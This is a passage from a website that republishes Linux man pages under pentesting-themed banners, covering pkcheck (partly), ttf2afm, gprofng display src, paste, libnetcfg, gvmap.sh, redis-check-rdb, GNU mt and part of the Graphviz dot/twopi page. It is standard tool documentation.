Octets that are not in [a-zA-Z0-9_] are escaped using octal codes prefixed with **. For example, the UTF-8 string føl,你好 will be printed as f\303\270l\54\344\275\240\345\245\275.

If the specified process is not authorized, pkcheck exits with a return value of 1 and a diagnostic message is printed on standard error. Details are printed on standard output.

If the specified process is not authorized because no suitable authentication agent is available or if the –allow-user-interaction wasnt passed, pkcheck exits with a return value of 2 and a diagnostic message is printed on standard error. Details are printed on standard output.

If the specified process is not authorized because the authentication dialog / request was dismissed by the user, pkcheck exits with a return value of 3 and a diagnostic message is printed on standard error. Details are printed on standard output.

If an error occurred while checking for authorization, pkcheck exits with a return value of 127 with a diagnostic message printed on standard error.

If one or more of the options passed are malformed, pkcheck exits with a return value of 126. If stdin is a tty, then this manual page is also shown.

NOTES

Do not use either the bare pid or pid,start-time syntax forms for –process. There are race conditions in both. New code should always use pid,pid-start-time,uid. The value of start-time can be determined by consulting e.g. the proc(5) file system depending on the operating system. If fewer than 3 arguments are passed, pkcheck will attempt to look up them up internally, but note that this may be racy.

If your program is a daemon with e.g. a custom Unix domain socket, you should determine the uid parameter via operating system mechanisms such as PEERCRED.

AUTHENTICATION AGENT

pkcheck, like any other polkit application, will use the authentication agent registered for the process in question. However, if no authentication agent is available, then pkcheck can register its own textual authentication agent if the option –enable-internal-agent is passed.

AUTHOR

Written by David Zeuthen <[email protected]> with a lot of help from many others.

BUGS

Please send bug reports to either the distribution or the polkit-devel mailing list, see the link https://gitlab.freedesktop.org/polkit/polkit/-/issues/ on how to subscribe.

SEE ALSO

polkit(8), polkitd(8), pkaction(1), pkexec(1), pkttyagent(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2038 - Linux cli command ttf2afm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ttf2afm and provides detailed information about the command ttf2afm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ttf2afm.

NAME 🖥️ ttf2afm 🖥️

utility to generate AFM files for TrueType fonts

SYNOPSIS

ttf2afm [OPTIONS] FONTFILE

DESCRIPTION

ttf2afm is used to generate Adobe Font Metrics (AFM) files for TrueType (TTF) fonts to allow them to be used with TeX.

ttf2afm takes the name of a TrueType font file as a required argument. It may also take one or more options from the list below (-i and -u are mutually exclusive).

OPTIONS

-i
force printing glyph names in form `index’decnum

-u
force printing glyph names in form `uni’hexnum

-c name
write encoding tables to file name.eMN, where M is the platform ID and N is the encoding ID

-v
print program version

-e enc
encode AFM output using encoding vector from enc

-o outfile
output to file outfile instead of standard output

-m num
use Unicode mapping num in the font

Platform numbers can be one of

  1. Apple Unicode

  2. Macintosh

  3. ISO

  4. Microsoft

Encodings can be

  1. Roman (if platform is Macintosh)

  2. Symbol (if platform is Microsoft)

  3. Unicode (if platform is Microsoft)

SEE ALSO

afm2tfm(1), afm2pl(1). FontForge (https://fontforge.org). LCDF TypeTools (https://lcdf.org). A closer look at TrueType fonts and pdfTeX, Han The Thanh (https://tug.org/TUGboat/tb30-1/tb94thanh.pdf).

BUGS

Send bug reports to <[email protected]> (public mailing list).

AUTHOR

ttf2afm is part of pdfTeX and was written by Han The Thanh.

This manual page was originally written by C.M. Connelly, for the Debian GNU/Linux system, and updated by Karl Berry and others.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2039 - Linux cli command x86_64-linux-gnu-gp-display-src

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gp-display-src and provides detailed information about the command x86_64-linux-gnu-gp-display-src, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gp-display-src.

NAME 🖥️ x86_64-linux-gnu-gp-display-src 🖥️

display-src - Display source code and optionally disassembly of the target object

SYNOPSIS

gprofng display src [option(s)] target-file

DESCRIPTION

Display the source code listing, or source code interleaved with disassembly code, as extracted from the target file (an executable, shared object, object file, or a Java .class file).

For example, this command displays the source code and disassembly listing for a function called mxv_core that is part of object file mxv.o:

$ gprofng display src -disasm mxv_core mxv.o

To list the source code and disassembly for all the functions in this file, use the following command:

$ gprofng display src -disasm all -1 mxv.o

The target-file is the name of an executable, a shared object, an object file (.o), or a Java .class file.

If no options are given, the source code listing of the target-file is shown. This is equivalent to -source all -1. If this information is not available, a message to this extent is printed.

OPTIONS

–version
Print the version number and exit.

–help
Print usage information and exit.

-functions
List all the functions from the given object.

-source item tag
Show the source code for item in target-file. The tag is used to differentiate in case there are multiple occurences with the same name. See the NOTES section for the definition of item and tag.

-disasm item tag
Include the disassembly in the source listing. The default listing does not include the disassembly. If the source code is not available, show a listing of the disassembly only. See the NOTES section for the definition of item and tag.

-outfile filename
Write results to file filename. A dash (-) writes to stdout. This is also the default. Note that this option only affects those options included to the right of the option.

NOTES

Use item to specify the name of a function, or of a source or object file that was used to build the executable, or shared object.

The tag is an index used to determine which item is being referred to when multiple functions have the same name. It is required, but will be ignored if not necessary to resolve the function.

The item may also be specified in the form function`file`, in which case the source or disassembly of the named function in the source context of the named file will be used.

The special item and tag combination all -1, is used to indicate generating the source, or disassembly, for all functions in the target-file.

SEE ALSO

gprofng (1), gp-archive (1), gp-collect-app (1), gp-display-gui (1), gp-display-html (1), gp-display-text (1)

The user guide for gprofng is maintained as a Texinfo manual. If the info and gprofng programs are correctly installed, the command info gprofng should give access to this document.

COPYRIGHT

Copyright (c) 2022-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2040 - Linux cli command paste

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command paste and provides detailed information about the command paste, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the paste.

NAME 🖥️ paste 🖥️

merge lines of files

SYNOPSIS

paste [OPTION]… [FILE]…

DESCRIPTION

Write lines consisting of the sequentially corresponding lines from each FILE, separated by TABs, to standard output.

With no FILE, or when FILE is -, read standard input.

Mandatory arguments to long options are mandatory for short options too.

-d, –delimiters=LIST
reuse characters from LIST instead of TABs

-s, –serial
paste one file at a time instead of in parallel

-z, –zero-terminated
line delimiter is NUL, not newline

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by David M. Ihnat and David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/paste>
or available locally via: info ‘(coreutils) paste invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2041 - Linux cli command libnetcfg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command libnetcfg and provides detailed information about the command libnetcfg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the libnetcfg.

NAME 🖥️ libnetcfg 🖥️

configure libnet

DESCRIPTION

The libnetcfg utility can be used to configure the libnet. Starting from perl 5.8 libnet is part of the standard Perl distribution, but the libnetcfg can be used for any libnet installation.

USAGE

Without arguments libnetcfg displays the current configuration.

$ libnetcfg # old config ./libnet.cfg daytime_hosts ntp1.none.such ftp_int_passive 0 ftp_testhost ftp.funet.fi inet_domain none.such nntp_hosts nntp.none.such ph_hosts pop3_hosts pop.none.such smtp_hosts smtp.none.such snpp_hosts test_exist 1 test_hosts 1 time_hosts ntp.none.such # libnetcfg -h for help $

It tells where the old configuration file was found (if found).

The -h option will show a usage message.

To change the configuration you will need to use either the -c or the -d options.

The default name of the old configuration file is by default “libnet.cfg”, unless otherwise specified using the -i option, -i oldfile, and it is searched first from the current directory, and then from your module path.

The default name of the new configuration file is “libnet.cfg”, and by default it is written to the current directory, unless otherwise specified using the -o option, -o newfile.

SEE ALSO

Net::Config, libnetFAQ

AUTHORS

Graham Barr, the original Configure script of libnet.

Jarkko Hietaniemi, conversion into libnetcfg for inclusion into Perl 5.8.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2042 - Linux cli command gvmap.sh

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gvmap.sh and provides detailed information about the command gvmap.sh, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gvmap.sh.

NAME 🖥️ gvmap.sh 🖥️

pipeline for running gvmap

SYNOPSIS

gvmap.sh [-vV?] [ options ] [ -o outfile ] [ files ]

DESCRIPTION

gvmap.sh takes as input a graph in DOT format, performs a layout, runs the output through gvmap and renders the output. At some point, it is hoped to integrate all of these tasks into gvmap.

OPTIONS

The following options are supported:

-a* k*
The integer k specifies the average number of artificial points added along the bounding box of the labels. Such artificial points are added to avoid a country boundary cutting through the boundary box of the labels. Computing time is proportional to k; hence, for large graphs, a small value of k is suggested. If k = -1, a suitable value of k is automatically selected based on the graph size. By default k = -1.

-K* layout*
specifies which program should be use for the initial layout. By default, sfdp is run. Also by default, the layout is passed the flag -Goverlap=prism. This can be overridden using a -g flag.

-T* format*
specifies the final output format. This works the same way as the -T flag for any Graphviz layout program.

-N* attr=val*
specifies the setting of a default node attribute during the rendering phase. This works the same way as the -N flag for any Graphviz layout program.

-G* attr=val*
specifies the setting of a graph attribute during the rendering phase. This works the same way as the -G flag for any Graphviz layout program.

-E* attr=val*
specifies the setting of a default edge attribute during the rendering phase. This works the same way as the -E flag for any Graphviz layout program.

-n* attr=val*
specifies the setting of a default node attribute during the layout phase. This works the same way as the -N flag for any Graphviz layout program.

-g* attr=val*
specifies the setting of a graph attribute during the layout phase. This works the same way as the -G flag for any Graphviz layout program.

-e* attr=val*
specifies the setting of a default edge attribute during the layout phase. This works the same way as the -E flag for any Graphviz layout program.

-A* flag*
specifies a flag to be passed to gvmap. For example, gvmap.sh -Ae -As3 causes gvmap -e -s3 to be run.

-v
Set verbose mode.

-V
Print version information and exit.

-?
Print usage information and exit.

EXAMPLES

The following invocation creates a map with edges in semi-transparent light gray and nodes laid out using sfdp:

gvmap.sh -Ae -Ecolor=#55555522 -Tpng foo.gv > foo.png

It is equivalent to running the pipeline

sfdp -Goverlap=prism foo.gv | gvmap -e | neato -n2 -Ecolor=#55555522 -Tpng > foo.png

AUTHOR

Emden R. Gansner <[email protected]>

SEE ALSO

gvmap(1), sfdp(1), neato(1), gvpr(1)

E. R. Gansner, Y. Hu, S. G. Kobourov, “GMap: Visualizing graphs and clusters as maps,” Proc. Pacific Vis. 2010, pp. 201‐208.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2043 - Linux cli command redis-check-rdb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command redis-check-rdb and provides detailed information about the command redis-check-rdb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the redis-check-rdb.

NAME 🖥️ redis-check-rdb 🖥️

check-rdb - Check integrity of Redis dumped database file

SYNOPSIS

redis-check-rdb filename

DESCRIPTION

Redis is a key-value database. It is similar to memcached but the dataset is not volatile and other datatypes (such as lists and sets) are natively supported.

This utility checks the integrity of a dumped database file.

AUTHOR

redis-check-rdb was written by Salvatore Sanfilippo.

This manual page was written by Chris Lamb <[email protected]> for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2044 - Linux cli command mt-gnu

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mt-gnu and provides detailed information about the command mt-gnu, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mt-gnu.

NAME 🖥️ mt-gnu 🖥️

control magnetic tape drive operation

SYNOPSIS

mt [-V] [-f device] [–file=device] [–rsh-command=command] [–version] operation [count]

DESCRIPTION

This manual page documents the GNU version of mt. mt performs the given operation, which must be one of the tape operations listed below, on a tape drive.

The default tape device to operate on is taken from the file /usr/include/sys/mtio.h when mt is compiled. It can be overridden by giving a device file name in the environment variable TAPE or by a command line option (see below), which also overrides the environment variable.

The device must be either a character special file or a remote tape drive. To use a tape drive on another machine as the archive, use a filename that starts with `HOSTNAME:’. The hostname can be preceded by a username and an `@’ to access the remote tape drive as that user, if you have permission to do so (typically an entry in that user’s `~/.rhosts’ file).

The available operations are listed below. Unique abbreviations are accepted. Not all operations are available on all systems, or work on all types of tape drives. Some operations optionally take a repeat count, which can be given after the operation name and defaults to 1.

eof, weof
Write count EOF marks at current position.

fsf
Forward space count files. The tape is positioned on the first block of the next file.

bsf
Backward space count files. The tape is positioned on the first block of the next file.

fsr
Forward space count records.

bsr
Backward space count records.

bsfm
Backward space count file marks. The tape is positioned on the beginning-of-the-tape side of the file mark.

fsfm
Forward space count file marks. The tape is positioned on the beginning-of-the-tape side of the file mark.

asf
Absolute space to file number count. Equivalent to rewind followed by fsf count.

seek
Seek to block number count.

eom
Space to the end of the recorded media on the tape (for appending files onto tapes).

rewind
Rewind the tape.

offline, rewoffl
Rewind the tape and, if applicable, unload the tape.

status
Print status information about the tape unit.

retension
Rewind the tape, then wind it to the end of the reel, then rewind it again.

erase
Perform long erase of tape. If count is 0, perform short erase of tape (some devices do not support this).

mt exits with a status of 0 if the operation succeeded, 1 if the operation or device name given was invalid, or 2 if the operation failed.

OPTIONS

-f, **–file=**device
Use device as the file name of the tape drive to operate on. To use a tape drive on another machine, use a filename that starts with `HOSTNAME:’. The hostname can be preceded by a username and an `@’ to access the remote tape drive as that user, if you have permission to do so (typically an entry in that user’s `~/.rhosts’ file).

**–rsh-command=**command
Notifies mt that it should use command to communicate with remote devices instead of /usr/bin/ssh or /usr/bin/rsh.

-V, –version
Print the version number of mt.

BUG REPORTS

Report bugs to <[email protected]>.

COPYRIGHT

Copyright © 2014 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2045 - Linux cli command twopi

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command twopi and provides detailed information about the command twopi, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the twopi.

NAME 🖥️ twopi 🖥️

filter for drawing directed graphs
neato - filter for drawing undirected graphs
twopi - filter for radial layouts of graphs
circo - filter for circular layout of graphs
fdp - filter for drawing undirected graphs
sfdp - filter for drawing large undirected graphs
patchwork - filter for squarified tree maps
osage - filter for array-based layouts

SYNOPSIS

dot [options] [files]
neato [options] [files]
twopi [options] [files]
circo [options] [files]
fdp [options] [files]
sfdp [options] [files]
patchwork [options] [files]
osage [options] [files]

DESCRIPTION

These are a collection of programs for drawing graphs. There is actually only one main program; the specific layout algorithms are implemented as plugins. Thus, they largely share all of the same command-line options.

dot draws directed graphs. It works well on directed acyclic graphs and other graphs that can be drawn as hierarchies or have a natural ``flow.''

neato draws undirected graphs using a ``spring’’ model and reducing the related energy (see Kamada and Kawai, Information Processing Letters 31:1, April 1989).

twopi draws graphs using a radial layout (see G. Wills, Symposium on Graph Drawing GD'97, September, 1997). Basically, one node is chosen as the center and put at the origin. The remaining nodes are placed on a sequence of concentric circles centered about the origin, each a fixed radial distance from the previous circle. All nodes distance 1 from the center are placed on the first circle; all nodes distance 1 from a node on the first circle are placed on the second circle; and so forth.

circo draws graphs using a circular layout (see Six and Tollis, GD ‘99 and ALENEX ‘99, and Kaufmann and Wiese, GD ‘02.) The tool identifies biconnected components and draws the nodes of the component on a circle. The block‐cutpoint tree is then laid out using a recursive radial algorithm. Edge crossings within a circle are minimized by placing as many edges on the circle’s perimeter as possible. In particular, if the component is outerplanar, the component will have a planar layout. If a node belongs to multiple non‐trivial biconnected components, the layout puts the node in one of them. By default, this is the first non‐trivial component found in the search from the root component.

fdp draws undirected graphs using a ``spring’’ model. It relies on a force‐directed approach in the spirit of Fruchterman and Reingold (cf. Software‐Practice & Experience 21(11), 1991, pp. 1129‐1164).

sfdp also draws undirected graphs using the ``spring’’ model described above, but it uses a multi-scale approach to produce layouts of large graphs in a reasonably short time.

patchwork draws the graph as a squarified treemap (see M. Bruls et al., ``Squarified treemaps’’, Proc. Joint Eurographics and IEEE TCVG Symp. on Visualization, 2000, pp. 33-42). The clusters of the graph are used to specify the tree.

osage draws the graph using its cluster structure. For a given cluster, each of its subclusters is laid out internally. Then the subclusters, plus any remaining nodes, are repositioned based on the cluster’s pack and packmode attributes.

OUTPUT FORMATS

Graphviz uses an extensible plugin mechanism for its output renderers, so to see what output formats your installation of dot supports you can use ``dot -T:’’ and check the warning message. Also, The plugin mechanism supports multiple implementations of the output formats, allowing variations in the renderers and formatters. To see what variants are available for a particular output format, use, for example: ``dot -Tpng:’’ and to force a particular variant, use, for example: ``dot -Tpng:gd’’

Traditionally, Graphviz supports the following:
-Tdot (Dot format containing layout information),
-Txdot (Dot format containing complete layout information),
-Tps (PostScript),
-Tpdf (PDF),
-Tsvg -Tsvgz (Structured Vector Graphics),
-Tfig (XFIG graphics),
-Tpng (png bitmap graphics),
-Tgif (gif bitmap graphics),
-Tjpg -Tjpeg (jpeg bitmap graphics),
-Tjson (xdot information encoded in JSON),
-Timap (imagemap files for httpd servers for each node or edge that has a non‐null href attribute.),
-Tcmapx (client‐side imagemap for use in html and xhtml).
Additional less common or more special‐purpose output formats can be found at //http://www.graphviz.org/content/output-formats.

Alternative plugins providing support for a given output format can be found from the error message resulting from appending a ‘:’ to the format. e.g. -Tpng: The first plugin listed is always the default.

The -P switch can be used to produce a graph of all output variants supported by plugins in the local installation of graphviz.

GRAPH FILE LANGUAGE

Here is a synopsis of the graph file language, normally using the extension .gv, for graphs:

[strict] (graph|digraph) name { statement‐list }
is the top‐level graph. If the graph is strict, then multiple edges are not allowed between the same pairs of nodes. If it is a directed graph, indicated by digraph, then the edgeop must be “->”. If it is an undirected graph then the edgeop must be “–”.

Statements may be:

name**=val;**
node [name=val];
edge [name=val];
Set default graph, node, or edge attribute name to val. Any subgraph, node, or edge appearing after this inherits the new default attributes.

n0 [name0=val0,name1=val1,…];
Creates node n0 (if it does not already exist) and sets its attributes according to the optional list.

n0 edgeop n1 edgeop edgeop nn [name0=val0,name1=val1,…];
Creates edges between nodes n0, n1, …, nn and sets their attributes according to the optional list. Creates nodes as necessary.

[subgraph name] { statement‐list }
Creates a subgraph. Subgraphs may be used in place of n0, …, nn in the above statements to create edges. [subgraph name] is optional; if missing, the subgraph is assigned an internal name.

The language accepts both C‐style comments /*C…*/ or //…

Attribute names and values are ordinary (C‐style) strings. The following sections describe attributes that control graph layout.

A more complete description of the language can be found at http://www.graphviz.org/content/dot-language.

GRAPH, NODE AND EDGE ATTRIBUTES

Graphviz uses the name=value attributes, attached to graphs, subgraphs, nodes and edges, to tailor the layout and rendering. We list the more prominent attributes below. The complete list is available at http://www.graphviz.org/content/attrs.

Attributes Common to Nodes, Edges, Clusters and Graphs

**href=**url the default url for image map files; in PostScript files, the base URL for all relative URLs, as recognized by Acrobat Distiller 3.0 and up.

**URL=**url (``URL’’ is a synonym for ``href.’’)

**fontcolor=**colorvalue sets the label text color.

A colorvalue may be “h,s,v**”** (hue, saturation, brightness) floating point numbers between 0 and 1, or an X11 color name such as white, black, red, green, blue, yellow, magenta, or cyan, or a “#rrggbb” (red, green, blue, 2 hex characters each) value. See http://www.graphviz.org/content/attrs#kcolor and http://www.graphviz.org/content/color-names for further details.

**fontsize=**n sets the label type size to n points.

**fontname=**name sets the label font family name.

**label=**text where text may include escaped newlines \n, \l, or \r for center, left, and right justified lines. The string ‘\G’ value will be replaced by the graph name. For node labels, the string ‘\N’ value will be replaced by the node name. For edges, if the substring ‘\T’ is found in a label, it will be replaced by the name of the tail node; if the substring ‘\H’ is found in a label, it will be replaced by the name of the head node; if the substring ‘’ value is found in a label it will be replaced by: tail_node_name->head_node_name or by: tail_node_namehead_node_name for undirected graphs.

Graphviz also supports special HTML-like labels for constructing complex node content. A full‐description of these is given at http://www.graphviz.org/content/node-shapes#html.

If a node has shape=record, the label may contain recursive box lists delimited by { | }. Port identifiers in labels are set off by angle brackets < >.

Graph Attributes

size="x,y" specifies the maximum bounding box of drawing in inches.

**ratio=**f sets the aspect ratio to f which may be a floating point number, or one of the keywords fill, compress, or auto.

**layout=**engine indicates the preferred layout engine (dot, neato, fdp, etc.) overriding the default from the basename of the command or the -K commandline option.

**margin=**f sets the page margin (included in the page size).

ordering=out constrains order of out‐edges in a subgraph according to their file sequence.

rotate=90 sets landscape mode. (orientation=land is backward compatible but obsolete.)

**center=**n a non‐zero value centers the drawing on the page.

**color=**colorvalue sets foreground color (bgcolor for background).

**overlap=**mode. This specifies what algorithm should do if any nodes overlap. If mode is false, the program uses the Prism algorithm to adjust the nodes to eliminate overlaps. If mode is scale, the layout is uniformly scaled up, preserving node sizes, until nodes no longer overlap. The latter technique removes overlaps while preserving symmetry and structure, while the former removes overlaps more compactly but destroys symmetries. If mode is true (the default), no repositioning is done. Since the dot algorithm always produces a layout with no node overlaps, this attribute is only useful with other layouts.

stylesheet=“file.css” includes a reference to a stylesheet in -Tsvg and -Tsvgz outputs. Ignored by other formats.

